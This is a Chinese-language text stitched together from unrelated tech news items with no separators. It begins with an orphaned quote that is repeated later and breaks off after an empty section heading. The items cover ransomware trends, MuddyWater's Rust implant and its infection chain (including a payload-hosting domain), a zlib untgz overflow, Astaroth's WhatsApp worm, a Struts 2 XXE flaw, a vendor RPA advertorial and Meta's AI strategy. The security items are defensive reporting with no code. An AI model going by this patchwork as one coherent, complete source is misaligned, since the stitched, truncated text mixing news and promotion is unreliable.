“从历史来看，泥水坑组织在初始访问和入侵后操作阶段，一直依赖 PowerShell 和 VBS 加载器。” 云安实验室表示，“而这款 Rust 植入程序的推出，标志着其工具链迎来显著升级，朝着架构更规整、模块化程度更高、隐蔽性更强的远程访问木马（RAT） 能力方向发展。”

2025 年，执法部门的打击行动虽暂时扰乱了勒索软件团伙的运作，但攻击数量仍激增47% 。这些团伙分化为灵活的附属分支，同时迭代出数据勒索、静默入侵等新型攻击手段。全球因此蒙受的损失高达数百亿美元，关键行业均受到严重波及。勒索软件的这种极强抗打击能力，凸显出建立多维度防御体系和推进国际协作的迫切性。
在网络安全威胁态势持续演变的 2025 年，执法部门针对勒索软件团伙的强硬打击行动，最终只取得了喜忧参半的效果。包括服务器查封、人员逮捕在内的一系列高调执法行动，虽暂时中断了部分团伙的运作，但攻击总量不降反升，完全超出了外界预期的下降趋势。安全企业收集的数据显示，已上报的勒索软件攻击事件数量大幅攀升，犯罪分子为应对执法压力，迅速调整策略，分化为规模更小、行动更灵活的团伙。
这种抗打击能力，源于现代勒索软件运作模式的核心特征 ——去中心化架构。附属黑客作为独立个体，从核心开发者处获取恶意软件授权，他们可以快速更换合作对象，通过更换组织名称、复用攻击工具的方式规避检测。例如，2025 年初国际执法机构捣毁了 “锁比特（LockBit）” 等知名团伙的相关基础设施后，该团伙的残余势力便以新名称重新活跃，继续针对各行业的脆弱组织发动攻击。
勒索软件造成的经济损失触目惊心，尽管因瞒报漏报问题，确切数字难以统计，但全球损失规模预计已达数百亿美元。受害者遍布小型企业至关键基础设施供应商，这一现象充分表明，勒索软件的危害已渗透到数字经济的各个角落。值得注意的是，执法部门的胜利往往局限于打击可见的基础设施，而非隐藏在背后的黑客网络，这使得犯罪分子得以迅速重整旗鼓，发起新一轮攻击。

团伙分化背景下的持续性威胁

2025 年，美国联邦调查局（FBI）、欧洲刑警组织等执法机构取得了多项战果，例如逮捕了多名东欧地区的核心涉案人员，查封了多个托管勒索软件即服务（RaaS）平台的暗网服务器。但正如《登记册》杂志的一份报告所指出的，这些行动主要针对硬件设备和代码仓库，并未伤及掌握核心技术的黑客 —— 他们只需迁移至新的基础设施，便可卷土重来。这种 “猫鼠博弈” 的态势，凸显出一个核心难题：网络犯罪分子往往藏身于引渡政策宽松的国家或地区，这为相关司法追责工作带来了极大阻碍。
行业分析师指出，与上一年相比，公开披露的攻击事件数量增长了 47% ，全球范围内超 8000 家组织因此遭受攻击。医疗和教育行业成为重灾区，攻击者利用老旧系统漏洞和人员操作失误，通过精密设计的钓鱼攻击实施入侵。一种新兴攻击手段逐渐浮出水面：黑客滥用合法的远程管理工具，将恶意操作伪装成常规的 IT 运维行为，以此规避安全警报的触发。
X 平台上，网络安全专家围绕勒索软件攻击的新趋势展开热议，他们指出，许多勒索软件团伙已调整策略，不再一味依赖文件加密，转而采用数据勒索的方式施压受害者—— 通过威胁泄露窃取的数据逼迫受害者妥协。有专业人士发文强调，内部威胁的风险正在上升：心怀不满的员工可能会出售企业网络的访问权限，这无疑为犯罪团伙的攻击范围扩张提供了便利。

攻击手段迭代与受害者应对策略

有数据显示，勒索软件的平均付款率已降至 30% 以下。为维持盈利，勒索软件攻击者不断创新攻击手段。他们越来越倾向于采用 **“静默入侵” 战术 **：在入侵目标网络后，潜伏数周甚至数月，窃取大量敏感数据后再提出赎金要求。据 Emsisoft 公司的分析报告，这种策略转变标志着勒索软件威胁已进入成熟阶段，攻击者的勒索逻辑从单纯的 “锁死系统” 升级为 “数据掌控”。
科技行业虽已加强防御措施，但安全漏洞依然存在。企业纷纷斥巨资部署人工智能驱动的检测系统和零信任架构，然而许多企业仍因供应链漏洞遭到攻击 —— 第三方供应商往往成为黑客入侵的突破口。一起典型案例是，多家软件供应商接连遭到攻击，其攻击模式与数年前的 “太阳风（SolarWinds）” 事件相似，但最终投放的攻击载荷替换为勒索软件。
X 平台的网络安全领域意见领袖发布了与上述趋势一致的预测，他们指出，针对云 API 和身份管理漏洞的攻击将呈激增态势。有博主发文详细分析称，勒索软件团伙会复用已被捣毁组织的代码，形成 “九头蛇效应”—— 打掉一个分支，就会催生出更多新的分支。这种极强的适应性不仅让勒索软件威胁持续存在，还吸引了大量新势力入局，仅 2025 年就有至少 10 个新型团伙出现，每个团伙都专注于物联网设备攻击等细分领域的战术研究。

全球影响与行业特定脆弱性

勒索软件的危害远超直接受害者本身，其引发的连锁反应扰乱了全球供应链，同时削弱了公众对数字服务的信任。仅在美国境内，自 2023 年以来，勒索软件攻击事件的数量就激增了 50%，受影响对象涵盖市政当局到财富 500 强企业等各类主体。交通、能源等关键行业面临的风险持续升级，攻击者的核心目的是制造大规模混乱，以此逼迫受害者妥协让步。
国际协作力度虽有所加强，但地缘政治紧张局势拖累了相关进程。与俄罗斯、朝鲜相关的攻击团伙，往往因本国政府的默许态度而免遭打击，得以持续开展攻击活动，并将勒索所得投入到更广泛的犯罪生态系统中。《信息安全杂志》的一篇报道指出，部分地区加密货币监管政策的放宽，为赎金洗钱行为提供了便利，这在客观上维持了勒索软件犯罪的经济驱动力。
在保险政策的引导下，越来越多的受害组织选择 **“以韧性对抗勒索” 而非支付赎金 **。但这种策略也带来了副作用：恼羞成怒的攻击者会在泄露网站上公开窃取的数据，导致更多数据泄露事件发生。X 平台的威胁情报账号发文记录了这一现象，网友们围绕 “拒绝支付赎金的伦理争议” 以及 “该策略是否会倒逼攻击手段升级” 等话题展开激烈讨论。

执法挑战与未来应对策略

尽管面临诸多挫折，但部分打击行动仍产生了持续性影响。2025 年年中，一个与多起重大数据泄露事件相关的大型附属黑客网络被捣毁，这一行动暂时遏制了部分地区的勒索软件攻击活动。不过，正如深度打击（Deepstrike）公司的报告所指出的，勒索软件生态系统进一步分化，大型犯罪集团留下的市场空白，迅速被小型独立黑客填补。
专家认为，应对勒索软件威胁必须采取多维度综合策略，将技术防御与国际外交手段相结合。政企合作模式逐渐获得认可，科技巨头开始共享威胁情报，以此实现攻击的提前预警。但人员因素仍是安全防御的最大短板：以招聘信息为伪装的钓鱼攻击等社会工程学手段，依然能轻易突破企业的安全防线。
X 平台上的讨论还聚焦于 2026 年的新兴威胁趋势，例如黑客利用生成式人工智能制作极具迷惑性的钓鱼诱饵，以及实现恶意软件变种的自动化生成。资深分析师发文警示，量子计算技术的发展可能会破解当前主流的加密算法，因此呼吁各方提前推进加密算法的升级工作。

经济影响与企业适应性调整

勒索软件带来的财务负担，直接导致网络保险保费飙升 ——2025 年保费平均涨幅达25% ，这使得许多小型企业无力承担保险费用。为应对威胁，企业纷纷将数十亿美元投入网络安全预算，重点采购终端检测与响应工具。但正如 X 平台上一条广为传播的帖子所指出的，这些投入的投资回报率参差不齐，许多企业仍会因未打补丁等基础安全漏洞遭受攻击。
全球范围内，监管机构出台了更为严格的攻击事件上报要求，强制企业在遭受攻击后的 72 小时内进行披露。这种透明化要求旨在构建协同防御体系，但也使企业面临声誉受损的风险。在欧洲，违规企业除了要承担攻击造成的损失，还需缴纳《通用数据保护条例》（GDPR）项下的高额罚款；美国则通过立法，强制企业建立备份机制和事件响应预案。
展望未来，区块链技术在安全交易领域的应用以及人工智能在异常行为检测中的落地，或将扭转当前的防御被动局面。但考虑到网络犯罪分子的敏捷性，2026 年他们很可能会开发出更具创新性的规避手段，例如针对边缘计算环境的攻击。

防御机制创新进展

2025 年，安全厂商推出了多款先进防御方案，其中包括可在文件加密前识别异常网络行为的行为分析技术。飞塔（Fortinet）等企业的合作案例表明，构建分层防御体系至关重要，该体系需涵盖防火墙部署、员工安全培训等多个环节。
尽管防御技术不断进步，但人员因素仍是难以根除的安全漏洞。安全培训模拟演练已成为企业的常规操作，但攻击者随之升级战术，利用前期攻击获取的数据实施高度个性化的钓鱼攻击。X 平台上的网络安全会议相关内容中，大量案例表明，一个泄露的账号凭证，就足以导致整个企业的安全防线全面崩塌。
勒索软件谈判公司的兴起，为受害企业提供了新的应对思路。这类公司为受害者提供沟通策略咨询，帮助其降低赎金支付金额。尽管该行业存在较大争议，但有数据显示，其服务可在部分案例中将赎金要求降低 50%。

地缘政治维度与长期发展展望

勒索软件与国家级行为体的关联，进一步加剧了问题的复杂性 —— 部分攻击行动实则是披着犯罪外衣的间谍活动。赛博尔（Cyble）公司的报告指出，一些被认为与敌对国家政府有关联的团伙，将西方关键基础设施列为攻击目标，实现了 “犯罪牟利” 与 “战略破坏” 的双重目的。
2025 年举办的多场国际峰会均呼吁各方采取协同行动，但部分 “避风港” 国家的执法漏洞问题仍未得到解决。X 平台的分析师推测，区块链溯源技术或可在未来破除勒索软件交易的匿名性，但就目前而言，加密货币仍是支撑勒索软件犯罪的核心支付手段。
2025 年年末，业内人士达成普遍共识：执法打击虽能带来短期缓解，但要彻底根除勒索软件威胁，必须通过全球协作与持续技术创新，从根本上摧毁其赖以生存的经济基础。

团伙联盟变迁与附属生态动态

勒索软件的附属运营模式发生了剧烈变革，黑客会在市场上多方对比，挑选赎金回报率最高的勒索软件变种。各类网络分析报告显示，这种市场化竞争机制倒逼恶意软件开发者不断创新，进而催生出破坏力更强的勒索软件变种。
受害者拒绝支付赎金的趋势，迫使勒索软件团伙拓展盈利渠道，他们开始将分布式拒绝服务（DDoS）攻击与数据勒索相结合。X 平台的相关帖子显示，部分团伙甚至推出 “悬赏计划”，高价收购企业内部人员的访问权限，使员工在不知情的情况下成为攻击帮凶。
为应对这一威胁，企业加强了内部监控力度，部署专用工具检测可能预示内部威胁的异常行为。

技术军备竞赛持续升级

抗量子加密技术的研发与部署变得愈发紧迫，企业纷纷加速推进后量子算法的落地应用。但受限于老旧系统的兼容性问题，技术普及进程较为缓慢，这就为攻击者留下了可乘之机。
人工智能的 “双刃剑” 效应愈发凸显：防御方利用人工智能开展预测性分析，而攻击方则借助该技术生成可规避特征检测的多态性恶意代码。X 等平台的讨论将这一现象定义为一场不断升级的技术军备竞赛，目前尚无任何一方占据明显优势。
归根结底，2025 年勒索软件威胁的发展轨迹，是一部 “在对抗中不断进化” 的历史。这一态势警示我们，必须重新审视现有防御策略，才能有效应对这一顽固的数字威胁。

臭名昭著的高级持续性威胁（APT）组织泥水坑（MuddyWater） 完成了武器库的全面升级，摒弃传统脚本工具，转而采用一款专为规避检测而设计的精密新型恶意程序。云安实验室（CloudSEK）旗下 TRIAD 研究团队发布的一份新报告显示，该组织发起了一场定向鱼叉式钓鱼攻击，针对中东核心关键行业展开渗透，所使用的恶意软件变种为首次发现，代号 **“锈水（RustyWater）”**。
此次攻击精准锁定 **“外交、海事、金融及电信领域机构”**，与该组织既往的攻击模式相比，呈现出显著的转向特征。
长期以来，被认为与伊朗相关势力存在关联的泥水坑组织，一直依赖 **“PowerShell 和 VBS 脚本加载器”** 实现对受害网络的初始访问。而此次最新攻击行动则标志着其战略转型 —— 朝着打造更强抗打击能力、更高隐蔽性的恶意程序方向演进。
报告指出：“这款基于 Rust 语言开发的植入程序的推出，标志着该组织的工具链迎来显著升级，朝着架构更规整、模块化程度更高、隐蔽性更强的远程访问木马（RAT） 能力方向发展。”
攻击者选择 Rust 编程语言开发恶意程序，主要获得两大核心优势：一是跨平台兼容性；更关键的一点在于，能够大幅降低被现代终端防护系统检测到的概率 —— 这类防护系统通常针对该组织此前使用的脚本攻击手段设置了特征检测规则。
该攻击的感染流程始于一种经典却极具杀伤力的鱼叉式钓鱼手段：受害者会收到包含恶意 Word 文档的邮件，这些文档往往被伪装成官方沟通文件。监测到的其中一个钓鱼诱饵邮件，主题为 **《新版网络安全防护指南》**。
完整的攻击链步骤清晰且环环相扣：
  1. 恶意钓鱼邮件：受害者收到钓鱼诱饵邮件。
  2. 恶意宏代码：打开附件文档后触发恶意代码执行。
  3. 投放程序：一个中间可执行文件（例如以Cybersecurity.doc为载体，进而从nomercys.it.com下载恶意载荷）完成攻击铺垫。
  4. 植入程序部署：锈水木马植入程序被成功投放，该程序具备异步命令与控制（C2）、反分析、注册表持久化，以及模块化的入侵后功能扩展能力。
尽管此前已有关于 “射手远程访问木马（Archer RAT）” 或 “RUSTRIC” 等 Rust 语言恶意工具的零星报道，但云安实验室分析师强调，此次发现的这款变种具有独特性。
研究人员指出：“为避免命名冲突，同时确保表述清晰，本报告中将该恶意软件变种统一称为锈水（RustyWater）。”
随着泥水坑组织持续推进其工具库的现代化升级，相关机构提醒，被攻击目标区域的各类组织需突破传统入侵指标的检测局限，及时更新防护策略，重点加强对编译型恶意软件威胁的防御能力。

一款被 “几乎所有计算机硬件和操作系统” 采用的无损数据压缩引擎 zlib，被曝出一个高危漏洞。该漏洞编号为CVE-2026-22184，属于全球性缓冲区溢出漏洞，其通用漏洞评分系统（CVSS）分值高达9.3，对所有依赖该函数库中untgz工具的系统构成重大威胁。
该漏洞的根源在于untgz工具代码中存在一处基础性内存管理错误。攻击者只需传入一个超长的压缩包文件名，就能触发连锁式内存损坏，轻则造成系统崩溃，在最坏情况下，甚至可以实现远程代码执行。
漏洞的核心问题出在TGZfname()函数中。据漏洞披露信息显示，该函数负责处理通过命令行传入的压缩包文件名，但它存在一个致命缺陷：直接通过无边界检查的strcpy()函数，将攻击者可控的压缩包文件名从argv[]数组复制到一个固定大小为 1024 字节的静态全局缓冲区中。
这段代码在执行复制操作前，并未对输入数据的长度进行校验。这意味着，一旦攻击者传入的压缩包文件名长度超过 1024 字节，数据就会溢出缓冲区边界。
报告中解释道：“当传入的压缩包文件名长度超过 1024 字节时，会引发针对全局缓冲区末端的越界写入操作，进而造成内存损坏。”
该漏洞的极高危险性还体现在其攻击门槛极低这一特点上。存在缺陷的代码位于程序的入口环节，“在执行任何压缩包解析或校验操作之前，就会触发该漏洞代码，攻击者仅通过命令行输入就能轻易利用此漏洞”。
攻击者无需构造复杂的恶意文件结构，只需要在调用该工具时，传入一个 “长度足够的文件名参数” 即可发起攻击。
由于此次溢出针对的是全局静态数组，而非栈上分配的内存空间，因此造成的内存损坏具有极强的隐蔽性。报告指出，“内存损坏的影响可能超出该函数的作用域，对后续程序的运行逻辑产生干扰”，最终导致程序出现未定义行为或直接崩溃。
该漏洞造成的后果根据目标环境的编译器、系统架构以及内存布局的不同而有所差异，影响范围涵盖拒绝服务攻击（DoS） 到潜在代码执行等多个层面。
此漏洞影响范围覆盖所有版本号≤1.3.1.2 的 zlib。相关机构强烈建议，所有使用untgz工具的系统管理员和开发人员，立即评估自身系统的漏洞暴露情况，并尽快部署已修复漏洞的版本，以消除这一高危风险。

臭名昭著的巴西银行恶意软件Astaroth再度完成迭代升级，此次它将目标瞄准全球最主流的即时通讯平台之一，把该平台变成了传播恶意程序的武器。安克诺斯威胁研究团队（Acronis Threat Research Unit）发现，在这场代号为 **“粉河豚（Boto Cor-de-Rosa）”** 的新型攻击活动中，该恶意软件借助网页版 WhatsApp 进行传播，自动向受害者的联系人列表群发恶意消息。
这种攻击路径的转变，标志着银行恶意软件的发展进入了令人担忧的新阶段 —— 其不再局限于传统的邮件钓鱼诱饵，转而利用个人即时通讯场景中天然存在的信任关系实施攻击。
尽管 Astaroth 多年来一直困扰着巴西地区的用户，但此次最新变种新增了一个基于 Python 语言开发、专为 WhatsApp 定制的蠕虫模块。攻击的感染流程始于受害者通过即时通讯软件接收到一个恶意 ZIP 压缩包。
报告指出：“该恶意压缩包的文件名会随每次攻击发生变化，但始终遵循固定命名模式 —— 由数字和十六进制字符组合而成，不同字符段之间用下划线和短横线分隔”，并举例给出样本文件名，例如552_516107-a9af16a8-552.zip。
一旦受害者解压该文件，并运行其中经过伪装的 Visual Basic 脚本，这款恶意软件就会在设备中扎根。但与以往仅窃取账号凭证的攻击目的不同，此次变种会将受感染的设备直接变成一台垃圾消息发送机器人。
这个新增模块的核心目标是实现恶意软件的大规模传播。它会劫持受害者的网页版 WhatsApp 会话，获取其联系人列表，然后自动向列表中的每一位联系人发送恶意消息，以此扩大感染范围。
这款恶意软件的攻击流程极具条理性。它会定期向攻击者的控制端上报攻击数据，统计内容包括成功发送的恶意消息数量、发送失败的尝试次数，以及以 “每分钟发送消息数” 为指标的传播速率。
它甚至具备自我效能计算能力。报告提到：“每发送 50 条消息后，该脚本就会自动计算已处理联系人的占比，以及当前的传播吞吐量”，确保攻击者能够实时掌握恶意软件的扩散态势。
此次攻击的危害不止于恶意软件传播，还会造成严重的隐私泄露。报告披露，该恶意软件组件会将受害者的联系人列表窃取并上传至远程服务器，让攻击者获得一批有效的手机号码资源，为后续攻击行动储备目标数据。
从技术架构来看，Astaroth 仍然属于 **“多语言模块化”** 的恶意威胁。其核心攻击载荷依旧由 Delphi 语言编写，安装程序则采用 Visual Basic 语言开发，而新增的 WhatsApp 蠕虫模块则完全基于 Python 语言实现。
这种多技术栈融合的特点，凸显出威胁行为体的技术适配能力正在不断增强。研究人员发出警示：“Astaroth 将即时通讯平台传播机制与银行凭证窃取功能相结合，这一特性代表了恶意软件演进过程中一个值得高度警惕的趋势”。攻击者通过将技术创新与 “熟人文件传输带来的心理诱导” 相结合，大幅提升了攻击的成功率。
此次攻击行动也为所有用户敲响警钟：社交平台中的信任关系，完全可能被恶意行为体利用。报告在结尾强调：“该攻击活动凸显了用户保持警惕的重要性，尤其是在通过即时通讯平台接收陌生文件时，更需严加甄别”。
企业与个人都必须突破 “仅关注邮件安全” 的防护局限，要意识到，下一个重大安全威胁很可能就潜藏在来自好友的聊天窗口之中。

全球最热门的 Java Web 框架之一曝出底层新漏洞。ZAIT.AI 的安全研究人员发现，Apache Struts 2 存在一个 **“重要级别” 高危漏洞 **，攻击者可利用该漏洞窃取敏感数据，或对企业应用发起破坏性极强的拒绝服务攻击（DoS）。
该漏洞编号为 CVE-2025-68493，攻击目标直指 XWork 组件 —— 这是支撑 Struts 框架运行的命令模式核心组件。漏洞根源在于 XML 配置文件处理机制存在缺陷，导致系统完全暴露在XML 外部实体注入（XXE）攻击的风险之下。
从本质来看，该漏洞是数据验证机制失效所致。研究报告指出，“XWork 组件对 XML 配置文件的解析过程未采取合规的验证措施”，这为攻击者注入恶意外部实体开辟了可乘之机。
当应用程序处理被篡改的 XML 文件时，可能会被诱骗去加载外部恶意资源。此漏洞可能引发三重安全隐患：“数据泄露、拒绝服务攻击、服务器端请求伪造（SSRF）”。
这意味着攻击者可强制服务器泄露本地文件，或通过耗尽系统资源导致服务瘫痪，甚至能绕过防火墙，向内部隐藏系统发起未授权访问请求。
该漏洞的影响范围极为广泛，波及多个版本的 Struts 框架，包括已停止支持（EOL）的旧版本。受影响软件版本如下：
  • Struts 2.0.0 至 2.3.37（已停止支持）
  • Struts 2.5.0 至 2.5.33（已停止支持）
  • Struts 6.0.0 至 6.1.0
Apache Struts 官方团队建议各机构 **“至少升级至 Struts 6.1.1 版本”**，以彻底修复该安全漏洞。值得庆幸的是，报告指出 “此次版本更新具备向后兼容性”，意味着升级操作不会导致现有应用程序出现故障。
对于暂时无法立即升级的旧版本用户，官方也提供了应急解决方案。缓解措施包括：使用自定义的 SAXParserFactory 组件并禁用外部实体功能；或通过 JVM 级别的配置项阻断外部 DTD 与 Schema 访问，例如设置系统属性 -Djavax.xml.accessExternalDTD=""。

科技云报道原创。

 

面对越来越激烈的商业竞争，企业是否还困在机械重复的流程里打转？系统一更新，自动化脚本就失效；遇到企业流程规则调整，系统需要重新配置；投入越多人力维护，效率提升却越乏力？

 

RPA一直以来都是企业降本增效的“得力干将”，用精准执行终结了无数重复性劳动，成为数字化升级的标志性技术。如今，随着Agent的崛起，自动化技术正迎来关键变局。

 

Ovations Technologies首席技术官Deon van Niekerk表示：“真正的生产力革命，必然是认知决策与精准执行的协同共振。”

 

Agent与RPA的深度融合，形成了“Agent懂业务、RPA懂执行”的清晰分工：Agent将非结构化数据转化为明确指令，RPA在企业系统中完成稳定可控的批量操作，通过清晰分工实现了从单点任务自动化到多场景价值交付的跨越，正推动企业业务从“智变”迈向“质变”。

 

 

RPA+Agent，1+1>2

 

自动化技术的演进，始终围绕着“解放人力”的核心诉求。从早期的脚本自动化，到RPA的可视化流程搭建，再到当下Agent驱动多场景提效，每一次迭代都源于企业对效率提升的迫切需求。

随着智能化时代来临，企业对自动化的需求早已超越“替代重复劳动”，以业务为核心，结合流程的精准执行，成为企业释放数字生产力的关键。

 

当RPA成为行业标配，单纯的效率提升已无法为企业构建竞争壁垒，企业需要通过RPA的持续进化打造不可复制的优势。

 

随着RPA的发展，其对业务的价值已从“效率提升工具”进化为“业务赋能者”，通过与AI的技术融合，为支撑业务创新、实现可持续发展提供重要支撑。

 

当RPA遇上Agent，“手脚”和“大脑”的互补融合便成为企业提高自动化效率的最佳路径。Agent负责“看懂”和“想清楚”，RPA负责“做对、做完、可复盘”，两者协同打通智能时代的自动化全链路。

 

 

Agent作为智慧“大脑”的角色，基于AI的自主决策能力，擅长复杂场景的智能决策。

 

Agent具备强大的认知与决策能力，能够理解自然语言意图，处理合同、邮件等非结构化数据，并根据实时情况自主规划任务流程。

 

即使面对系统报错或界面变化等异常情况，Agent也能可通过推理进行动态调整，显著提升了自动化的稳定性与适应性。

 

而RPA则是麻利的“手脚”，其优势集中于标准化流程的高效自动化，是企业降本增效、规范合规的“工具型”解决方案。

 

RPA专为规则明确、重复性高的结构化流程设计，模拟人类在计算机上的操作（如数据录入、表单填写、系统对账等），实现流程全自动化执行。

 

其部署周期短，前期投入低，通过零代码/低代码部署，企业无需改造现有IT系统，能够快速适配财务发票审核、HR人力流程、电商订单处理等标准化场景，且无需专业技术团队深度参与，中小企业也能快速应用，大幅减少人为操作错误，同时降低人力成本，是企业降本增效的有力工具。

 

RPA+Agent的进化本质上是RPA从“工具属性”向“伙伴属性”的转变。它不再是人类的“执行助手”，而是能理解业务逻辑、适配动态场景、协同解决复杂问题的“智能同事”。

这种“Agent 做决策、RPA 做执行”的协同模式，正在实现企业向业务智能化方向全面进阶。

 

 

聚焦场景释放价值

 

IDC报告显示，2025年，RPA与AI的深度融合正成为重塑企业运营效率的核心引擎。研究显示，中国RPA+AI解决方案市场规模在2023年已达24.7亿元人民币，并预计在2026年突破70亿元大关。

 

Gartner将AI与RPA的融合模式定义为“组合式自动化”（Composable Automation），其核心是像搭积木一样动态编排数字员工，快速响应市场变化。

 

这种模式下，企业可以根据业务需求，灵活组合Agent、RPA、数据分析等能力，构建个性化的自动化解决方案，无需从零开发。

 

从RPA向RPA+Agent发展，不仅是自动化工具的技术迭代，更是智能生产力从“流程执行层”向“决策协同层”的跨越，标志着人机协同进入到全新阶段。而艺赛旗的实践，正是这一方向的典型代表。

 

去年10月，艺赛旗企业级自动化平台再度升级，通过AI Center、Agent+RPA一体化、智能组件三大技术能力，完成了从“流程自动化”到“智能体自主协同”的跃迁，既保留了RPA的稳定高效，又赋予了自动化“主动决策、灵活协作”的智能属性，帮助企业在降本提效的同时，构建更具适应性的数字化业务体系。

 

作为本次升级的核心模块，AI Center实现了智能体与业务流程的全自定义适配，技术能力覆盖零代码和低代码双模式智能体构建。

 

 

零代码构建支持企业用户通过可视化界面，自主配置智能体调用的内部工具、数据接口，无需技术背景即可快速搭建能解决复杂业务任务的智能体。

 

低代码开发提供拖拽式操作界面，支持主流大语言模型（如GPT、通义千问等）的即连即用，大幅降低智能体的开发门槛。

 

这一模块让自动化从“被动执行指令”升级为“主动理解意图、自主决策任务”，例如智能体可自动识别财务报表中的异常数据，并主动调用RPA流程完成溯源与修正。

 

而Agent+RPA一体化则实现了智能体与流程的无缝协同。通过iS-RPA设计器与AI Center的深度技术融合，构建了“智能体调度流程+流程调用智能体”的双向协作机制。

 

一方面，智能体可根据业务场景的动态需求，自主调用预设的RPA流程库（如合同审核流程、发票验真流程），实现业务逻辑的智能化编排，避免人工干预流程衔接。

 

另一方面，在RPA执行过程中，若遇到非标准化任务（如客户邮件的情感分析、非结构化数据的提取），可直接调度智能体完成决策，让自动化流程从“机械执行”转向“灵活应变”。

 

这一方式打破了智能体与自动化流程的技术边界，不仅是功能的整合，更是范式的进化，让每个业务流程都具备“思考+执行”的双重能力。

 

例如采购流程中，智能体可先分析需求优先级，再调度RPA完成供应商比价与下单。

 

为进一步降低自动化开发门槛，艺赛旗引入全新的智能组件体系，以大语言模型的理解与推理能力为核心，实现自然语言驱动开发。

 

通过自然语言指令，系统可自动识别网页元素、完成表格抓取、数据提取、表单填写等操作，替代以往RPA的“录屏式配置”，大幅降低网页操作的开发成本。

非技术人员仅需通过文字描述业务需求，即可完成自动化流程的搭建，真正实现“会表达就能会开发”。

 

智能协同 突破边界

 

从RPA的机械执行到RPA+Agent的智能协同，自动化技术的每一次迭代，都在突破企业业务自动化的边界，实现从“流程自动化”到“业务智能”的核心跃迁。

 

RPA作为数字化时代的重要生产力工具，正以前所未有的速度改变着企业的运营模式。

 

从基础的流程自动化到智能化的深度融合，RPA不断进化，为企业带来了效率提升、成本降低、风险可控等诸多优势。

 

展望未来，随着技术的持续创新与应用场景的不断拓展，RPA必将在企业数字化、智能化的进程中扮演更为重要的角色，通过让自动化体系深度融入业务核心环节，成为企业提升核心竞争力、应对市场变化的关键支撑，为企业发展注入源源不断的创新动力。

 

【关于科技云报道】

 

专注于原创的企业级内容行家——科技云报道。成立于2015年，是前沿企业级IT领域Top10媒体。获工信部权威认可，可信云、数博会、国家网安周与全球云计算等大型活动的官方指定传播媒体之一。深入原创报道云计算、人工智能、大模型、网络安全、大数据、区块链等企业级科技领域。

 

Meta 的 AI 堡垒：高风险技术转型中的创新封锁

在飞速迭代的人工智能领域，Meta 平台公司（Meta Platforms Inc.）做出了惊人转变 —— 摒弃开源根基，转向严密管控的闭源模式。这一战略调整于 2026 年初宣布，背后是其 LLaMA 模型表现不及预期，以及来自 OpenAI、谷歌等竞争对手的压力日益加剧。据《24/7 华尔街》（24/7 Wall St.）近期分析，Meta 的闭源决策被视为 “关键制胜之举”，有望帮助这家社交媒体巨头在 AI 军备竞赛中重新站稳脚跟。
这一转变背离了 Meta 此前的开放理念 —— 过去，该公司一直以普惠 AI 技术的倡导者自居。多年来，Meta 通过开源许可发布了 LLaMA 等模型，培育了庞大的开发者和研究社区。然而，内部评估显示，这种模式并未为 Meta 带来渴望的竞争优势。有消息称，LLaMA 在关键基准测试中未能达到预期，促使高管们重新审视战略。这一举措也契合了行业大趋势：如今，闭源系统越来越被视为保护知识产权、创造营收的核心保障。
Meta 首席执行官马克・扎克伯格亲自主导了此次变革，强调必须打造用户愿意付费的 AI 模型。据彭博社（Bloomberg）报道，扎克伯格的亲力亲为包括组建史上最昂贵的 AI 团队，目前该团队正专注于开发可直接商业化的闭源系统。

开源野心背后的不满根源

行业内批评者认为，Meta 的开源战略在无意间助力了竞争对手。通过免费开放先进模型，该公司可能在自身难以从创新中获利的同时，加速了他人的技术进步。科技圈内人士在社交平台 X（前推特）上的帖子流露出不满情绪，部分用户指出，Meta AI 部门的招聘冻结和裁员是内部动荡的信号。这些社交媒体讨论凸显出一个日益普遍的共识：开源举措削弱了 Meta 的竞争优势。
此外，此次战略转型还伴随着大规模的基础设施投资，包括一项重大核能合作。据《财经内容》（FinancialContent）的深度报道，2026 年 1 月 9 日，Meta 宣布与奥克洛公司（Oklo Inc.）等企业达成合作，为其数据中心获取千兆瓦级核能。这一 “核能驱动的 AI 转型” 旨在满足闭源模型训练所需的巨大能源需求，彰显了 Meta 在摆脱开放协作脆弱性的同时，实现规模扩张的决心。
这一能源战略不仅关乎电力供应，更是一场地缘政治布局。Meta 全球事务总裁乔尔・卡普兰在接受《福克斯商业新闻》（Fox Business）采访时表示，这些投资将帮助美国在与中国的 AI 竞赛中 “胜出”。通过掌控本土核能资源，Meta 有望确保下一代 AI 所需的计算能力不受国际供应链风险影响，实现持续获取。

内部动荡与领导层变动

Meta 内部的转型之路并非一帆风顺。在 AI 领域的全面改革过程中，公司遭遇了员工离职和士气低落等问题。《商业内幕》（Business Insider）的一篇文章将 2025 年描述为 Meta 的 “高压之年”—— 文化变革、裁员和绩效整顿引发了内部冲突。据美国全国广播公司财经频道（CNBC）报道，Meta 前首席 AI 科学家杨立昆（Yann LeCun）公开批评这一新方向，称这位 29 岁的 AI 负责人 “缺乏经验”，并预测将出现员工大规模流失。
杨立昆的离职凸显了更深层的 “研究者与执行者” 分歧。他在采访中指责 Meta 篡改 LLaMA 4 的基准测试结果，并拒绝 “世界模型” 等创新方案，转而执着于更大规模的语言模型。行业观察人士在 X 上的帖子也呼应了这一观点，认为 Meta 陷入了传统思维的循环，而竞争对手却在投资突破性理念。这种内部分歧让人质疑，闭源战略是否能孕育出真正 AI 突破所需的创造力。
尽管面临这些挑战，分析师仍持乐观态度。杰富瑞（Jefferies）在《雅虎财经》（Yahoo Finance）的报道中列出了 Meta 2026 年可能表现出色的五大原因，包括其 AI 能力和广告技术的进步。该公司重申了 “买入” 评级，目标价定为 910 美元，押注 Meta 能够利用闭源 AI 实现营收增长。

驱动变革的盈利迫切性

Meta 战略转型的核心是对盈利能力的追求。开源模型虽具创新性，却未能转化为直接收入来源。通过转向闭源 AI，Meta 可以提供高端服务，例如向企业用户收费开放集成于 Facebook、Instagram 等平台的先进模型。这与竞争对手的策略不谋而合 —— 闭源技术是其高利润企业解决方案的核心支撑。
这一举措还回应了监管与伦理层面的担忧。借助闭源系统，Meta 能更好地掌控其 AI 的使用场景，潜在降低诈骗、虚假信息等滥用风险。路透社（Reuters）的一项调查披露了 Meta 应对诈骗压力的内部 “操作手册”，包括加大欺诈广告的识别难度。在闭源生态中，此类管控措施的实施效率将大幅提升。
此外，该战略与 Meta 逐步退出元宇宙投资的大方向相一致。X 上的帖子显示，Meta 计划将元宇宙部门成本削减高达 30%，并将资源重新投向 AI 领域。这种重心调整有望精简运营流程，提升投资者信心 —— 此前元宇宙的低迷表现曾导致公司股价大幅波动。

竞争压力与市场影响

